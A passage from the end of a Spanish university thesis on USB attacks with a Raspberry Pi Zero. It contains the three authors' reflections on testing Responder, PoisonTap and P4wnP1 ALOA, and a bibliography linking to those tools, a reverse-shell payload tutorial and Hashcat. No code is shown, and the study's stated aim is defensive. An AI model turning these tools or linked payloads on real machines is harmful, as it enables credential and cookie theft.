analizar detenidamente estos recursos y explorar cómo transformar nuestro dispositivo en un USB/Ethernet, decidimos enfocarnos en tres repositorios específicos para llevar a cabo nuestros ataques. Estos repositorios son: Responder, PoisonTap y P4wnP1 ALOA. Elegimos estos enfoques debido a que el P4wnP1 ya tenía parcheados todos los ataques previamente. 93 Con una comprensión más sólida del tema, comenzamos la segunda fase de nuestro proyecto, donde llevamos a cabo pruebas y ejecutamos diversos ataques, como la extracción de cookies, el robo de credenciales, el secuestro de redes y la creación de puertas traseras, entre otros. Nicolás y yo nos enfocamos en documentar los detalles de Responder y Poisontap, mientras que Eduardo se centró en documentar P4wnP1 ALOA, aunque nosotros también hemos estado presentes al probar P4wnP1 ALOA, como Eduardo lo estuvo con Responder y PoisonTap Sin embargo, enfrentamos un obstáculo importante durante esta fase: solo disponíamos de una Raspberry Pi Zero. Esto significaba que debíamos turnarnos el dispositivo para llevar a cabo los ataques, mientras que los demás miembros del grupo se mantenían conectados a través de Discord para resolver problemas y discutir estrategias conjuntamente. Tanto con Responder como con PoisonTap, dedicamos tiempo a instalar y configurar la Raspberry Pi. Una vez que teníamos todo listo en el entorno de trabajo, procedimos a llevar a cabo ambos ataques con el propósito de comprender su funcionamiento a fondo. Esto nos permitió adquirir el conocimiento necesario para idear estrategias de defensa efectivas contra estas amenazas. Para terminar, creo que los tres hemos trabajado juntos en este proyecto, tanto cuando investigábamos como en las pruebas, aportando cada uno algo nuevo que enriqueció nuestro enfoque. Después de finalizar los ataques, hemos recopilado toda la documentación disponible y hemos decidido trabajar en conjunto para redactar la memoria. Utilizamos la plataforma de Google Docs para agilizar el proceso, permitiéndonos revisar y mejorar el contenido de manera colaborativa. 94 Cuando estaba buscando un tema para mi Trabajo de Fin de Grado (TFG), tenía claro que quería abordar un tema relacionado con la ciberseguridad, ya que esta es la rama que más me interesa en el campo de la informática. Al encontrar este TFG, me intrigó la facilidad con la que se puede comprometer un ordenador a través de un dispositivo USB. A medida que avanzábamos en el TFG, experimentamos un continuo proceso de aprendizaje y exploración en el mundo de la ciberseguridad y los exploits USB. Durante esta experiencia, no solo adquirí un profundo conocimiento sobre el funcionamiento del protocolo USB y el estándar HID, así como diferentes tipos de ataques como PoisonTap, Responder y P4wnp1, sino que también confirmé que me gustaría dedicarme y trabajar en algo relacionado con la ciberseguridad. 95 11.2 Nicolás Álvarez Olmos A lo largo de nuestro proyecto de trabajo de fin de grado, nos hemos dedicado por completo a la ciberseguridad y el hacking por el puerto USB. Aunque inicialmente no estábamos completamente familiarizados con estos temas, dedicamos una considerable cantidad de tiempo a aprender y adquirir conocimientos sólidos en estas áreas, así como a investigar el protocolo USB. Para superar esta barrera inicial, invertimos una cantidad significativa de tiempo en aprender y adquirir conocimientos fundamentales en estos campos. Nos sumergimos en recursos educativos, investigaciones y tutoriales para construir una base sólida que nos permitiera abordar con confianza la ciberseguridad y los exploits a través del protocolo USB. Una vez que nos sentimos lo suficientemente preparados, comenzamos a explorar las vulnerabilidades y los posibles ataques que podrían llevarse a cabo a través del puerto USB. Esta fase de investigación nos permitió entrar en contacto directo con las amenazas potenciales y las vulnerabilidades, que serían el foco de nuestro trabajo. Además de comprender los aspectos teóricos de la ciberseguridad y los exploits USB, también nos vimos obligados a profundizar en la arquitectura de la Raspberry Pi Zero W, que sería nuestra herramienta principal para llevar a cabo nuestros experimentos. Esta comprensión fue esencial para optimizar nuestra investigación y los ensayos prácticos. Tuvimos problemas para conseguir conectarnos y configurarla correctamente, pero tras buscar tutoriales de distintos lugares, conseguimos dar con el método correcto. A lo largo de este proceso de aprendizaje, los tres integrantes del grupo colaboramos en conjunto, documentando todo lo que aprendíamos sobre el protocolo USB, los tipos de ataques y la Raspberry Pi Zero. Utilizamos Google Docs de Drive para mantener la memoria actualizada con toda la información, lo que nos permitió trabajar de manera coordinada y eficiente. 96 Una vez que nos sentimos confiados en nuestros conocimientos, comenzamos a probar exploits. Dado que no teníamos suficientes Raspberry Pi para cada miembro del equipo, utilizamos la aplicación Discord para colaborar en tiempo real. Esta plataforma nos permitió compartir pantallas y trabajar juntos en la ejecución de exploits, rotando la Raspberry entre nosotros para garantizar que todos pudiéramos participar activamente. Mi compañero Omar y yo nos centramos más en Responder y PoisonTap, mientras que Eduardo se enfocó en P4wnP1 ALOA. Pese a esta división, los tres estuvimos juntos durante el tiempo que los otros compañeros probaban y exploraban cada ataque. Optamos por comenzar con el exploit Responder, que capturó nuestra atención. A pesar de encontrarnos con conceptos de redes que necesitábamos refrescar, trabajamos de manera conjunta para investigar y documentar el exploit en detalle, desde su instalación y configuración hasta su ejecución y análisis de resultados. También nos dedicamos a investigar posibles medidas de defensa contra Responder y documentamos estos hallazgos para enriquecer nuestra comprensión del exploit. Posteriormente, nos sumergimos en el exploit PoisonTap, que resultó ser más complejo y desafiante. Al igual que con Responder, nos dedicamos a documentar exhaustivamente todos los aspectos del exploit, desde el tutorial de instalación y configuración hasta la ejecución y análisis de los resultados obtenidos. A pesar de no lograr resultados exitosos, debido a la gran cantidad de tiempo y esfuerzo invertido, adquirimos un avanzado grado de conocimiento sobre PoisonTap, que plasmamos en nuestro trabajo. Además, investigamos y documentamos posibles medidas de defensa contra PoisonTap para complementar la información recopilada sobre el exploit. En resumen, el desarrollo de nuestro TFG fue un proceso de aprendizaje continuo y exploración en el mundo de la ciberseguridad y los exploits USB. A lo largo de esta experiencia, no solo he adquirido un profundo conocimiento sobre los exploits Responder, PoisonTap y P4wnP1, sino que también he despertado un gran interés sobre el campo de 97 la ciberseguridad, que espero seguir investigando en mi futuro. En resumen, pienso que hemos colaborado en este proyecto de manera conjunta y equitativa, los tres aportando de manera similar. 98 11.3 Jorge Eduardo Gómez Vélez Durante los primeros meses de nuestro proyecto, nos dedicamos conjuntamente a una exhaustiva investigación sobre el funcionamiento del puerto USB, los protocolos que utiliza y los dispositivos HID que hacen uso de este puerto en particular. Tras familiarizarnos con este tema, nos dedicamos a la identificación de vulnerabilidades existentes que pudieran ser objeto de explotación, así como a la exploración de los diversos ataques concebibles. Para este propósito, utilizamos recursos proporcionados por nuestro tutor, consultamos fuentes en línea y revisamos numerosos vídeos informativos disponibles en la plataforma de YouTube. Una vez que habíamos adquirido una comprensión más sólida de la parte teórica, procedimos a abordar la parte práctica del proyecto. Nuestro primer desafío consistió en la configuración de la Raspberry Pi Zero, el dispositivo central empleado en esta iniciativa. Esta etapa se reveló complicada y consumió una considerable cantidad de tiempo debido a múltiples obstáculos, particularmente relacionados con problemas de conexión SSH en la aplicación PuTTY. Dado que nuestra disponibilidad se limitaba a una única Raspberry Pi Zero W, implementamos un enfoque rotativo en el que alternábamos el uso de la misma entre los miembros del equipo, permitiendo a cada uno llevar a cabo su respectiva parte práctica. Mis compañeros de equipo se dedicaron a investigar y experimentar con las técnicas conocidas como PoisonTap y Responder, mientras que en mi caso, me centré en explorar el potencial del ataque P4wnP1, que mostraba ser una opción prometedora para nuestras pruebas de seguridad. A raíz de las limitaciones de recursos que enfrentábamos, establecimos una dinámica de colaboración en la que los tres miembros nos conectábamos mediante Discord para llevar a cabo diversas pruebas de ataques, independientemente de nuestros ataques propios. Desgraciadamente, después de varios intentos fallidos probando P4wnP1 y con la colaboración de mis compañeros, determinamos que este ataque, lanzado hace varios 99 años, ya había sido contrarrestado por múltiples parches de seguridad implementados por Windows. Tras discutirlo, concluimos que la creación o búsqueda de una máquina virtual de Windows con las características específicas requeridas, sin los mencionados parches, resultaba complicada y poco práctica. En consecuencia, decidimos enfocar nuestra atención en el sucesor de dicho ataque, P4wnP1 A.L.O.A. En lo que respecta a este último exploit, el proceso inicial se desarrolló con mayor fluidez, ya que implicaba la instalación de una imagen preconfigurada que simplificó la conectividad inalámbrica con la Raspberry. En primer lugar, realicé un análisis de todas las opciones disponibles en esta herramienta, así como en el estudio de cómo utilizar cada funcionalidad, tanto a través de su interfaz como mediante conexiones SSH. Luego, procedí a probar algunos de los scripts de prueba preinstalados para comprender su funcionamiento en profundidad. Más adelante, expandí mis esfuerzos hacia la búsqueda de payloads funcionales disponibles en línea y, en algunos casos, inicié el desarrollo de scripts personalizados. Tras someter a prueba una amplia gama de scripts, la mayoría de los cuales no produjo resultados exitosos, conseguí identificar algunos que requerían modificaciones y actualizaciones menores para adaptarse a nuestras configuraciones específicas. En cuanto a la gestión de la documentación, manteníamos un borrador compartido en Google Docs, donde colaborábamos simultáneamente. Para la redacción, distribuimos equitativamente las tareas con el fin de avanzar eficazmente y realizamos revisiones periódicas de todo el contenido para corregir errores y mejorar la calidad de los capítulos. Por último, es relevante destacar que, durante todo el desarrollo de este trabajo, hemos mantenido una cooperación constante para abordar dudas, resolver fallos y brindar asistencia a los miembros del equipo que enfrentaban dificultades en cualquier momento. 100 Bibliografía [1] Información sobre la historia del USB: “USB Complete: The Developer's Guide" by Jan Axelson [2] Información sobre conectores y protocolos: https://www.usb.org/ [3] Información sobre el funcionamiento de un dispositivo tipo RubberDucky: https://www.incibe.es/empresas/blog/rubber-ducky-simple-memoria-usb#:~:text=El% 20Rubber%20Ducky%20tiene%20la,los%20teclados%20y%20los%20ratones. [4] Información sobre el funcionamiento de un dispositivo tipo BadUSB: https://hackmag.com/security/badusb-eth/. [5] Información sobre el funcionamiento de un dispositivo tipo USBKiller: https://www.profesionalreview.com/2019/09/29/usb-killer/. [6] Información sobre el funcionamiento de un dispositivo tipo Cold Boot: https://hackmag.com/security/cold-boot-attack/. [7] Especificaciones técnicas de la Raspberry Pi Zero W: https://raspberryparatorpes.net/hardware/raspberry-pi-zero-w/. [8] Información sobre P4wnP1: https://p4wnp1.readthedocs.io/en/latest/. [9] Información sobre P4wnP1 A.L.O.A.: https://github.com/RoganDawes/P4wnP1_aloa https://jamesachambers.com/kali-linux-p4wnp1-aloa-guide-setup-usage-examples/ 101 https://www.incibe.es/empresas/blog/rubber-ducky-simple-memoria-usb#:~:text=El%20Rubber%20Ducky%20tiene%20la,los%20teclados%20y%20los%20ratones https://www.incibe.es/empresas/blog/rubber-ducky-simple-memoria-usb#:~:text=El%20Rubber%20Ducky%20tiene%20la,los%20teclados%20y%20los%20ratones https://hackmag.com/security/badusb-eth/ https://www.profesionalreview.com/2019/09/29/usb-killer/ https://hackmag.com/security/cold-boot-attack/ https://raspberryparatorpes.net/hardware/raspberry-pi-zero-w/ [10] Tutorial para la configuración del payload de reverse shell: https://medium.com/azkrath/p4wnp1-a-l-o-a-an-advanced-hid-attack-device-d906ae5 bf48c [11] Payload de Memory Mug https://github.com/AdamWHY2K/P4wnP1_ALOA_Payloads/tree/main/Memory_Mug [12] GitHub oficial del exploit PoisonTap: https://github.com/samyk/poisontap. [13] Tutorial para la instalación y configuración básica del exploit PoisonTap: https://www.security-sleuth.com/sleuth-blog/2017/3/6/installing-poison-tap-for-dumm ies-the-most-complete-guide. [14] GitHub oficial del exploit Responder: https://github.com/lgandx/responder. [15] Tutorial para la instalación y configuración básica del exploit Responder: https://medium.com/codex/raspberry-pi-zero-password-thief-cb2bea8d6dc0. [16] Página oficial de Hashcat: https://hashcat.net/hashcat/. 102 https://github.com/samyk/poisontap https://www.security-sleuth.com/sleuth-blog/2017/3/6/installing-poison-tap-for-dummies-the-most-complete-guide https://www.security-sleuth.com/sleuth-blog/2017/3/6/installing-poison-tap-for-dummies-the-most-complete-guide https://github.com/lgandx/responder https://medium.com/codex/raspberry-pi-zero-password-thief-cb2bea8d6dc0 https://hashcat.net/hashcat/